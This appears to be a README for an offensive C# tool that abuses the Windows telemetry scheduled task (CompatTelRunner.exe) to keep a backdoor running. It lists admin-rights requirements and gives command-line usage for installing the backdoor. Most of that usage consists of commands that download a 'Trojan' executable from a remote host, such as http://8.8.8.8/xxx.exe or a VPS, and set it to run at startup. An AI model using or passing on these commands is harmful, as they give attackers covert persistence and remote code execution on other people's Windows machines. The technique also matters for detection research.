TELEMETRY
Background
TELEMETRY is a C# For Windows PERSISTENCE
Today weโre going to talk about a persistence method that takes advantage of some of the wonderful telemetry that Microsoft has included in Windows versions for the last decade.
- Local admin rights to install (requires the ability to write to HKLM)
- Have CompatTelRunner.exe
- 2008R2/Windows 7 through 2019/Windows 10
Advantage
- Using the system's own Telemetry planned tasks
- Only registry suspicious backdoor troubleshooting
Command Line Usage
ABUSING WINDOWS TELEMETRY FOR PERSISTENCE
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Features:
Install: - Deployment authority maintains backdoor
Command:
TELEMETRY.exe install /command:calc
- Execute command without file backdoor
TELEMETRY.exe install /url:http://8.8.8.8/xxx.exe /path:C:\Windows\Temp\check.exe
- Remotely download Trojan files to the specified directory for backdoor startup
TELEMETRY.exe install /url:http://8.8.8.8/xxx.exe
- Remotely download Trojan files to C:\\Windows\\Temp\\compattelrun.exe for backdoor startup
TELEMETRY.exe install /path:C:\Windows\Temp\check.exe
- Set path Trojan files for backdoor startup
Parameter:
/command: - Execute Command
/url: - Download FROM
/path: - Download To
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Execute command without file backdoor
Telemetry.exe install /command:calc
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Remotely download Trojan files for backdoor startup
Telemetry.exe install /url:http://vps:8089/System.exe
Learn
https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/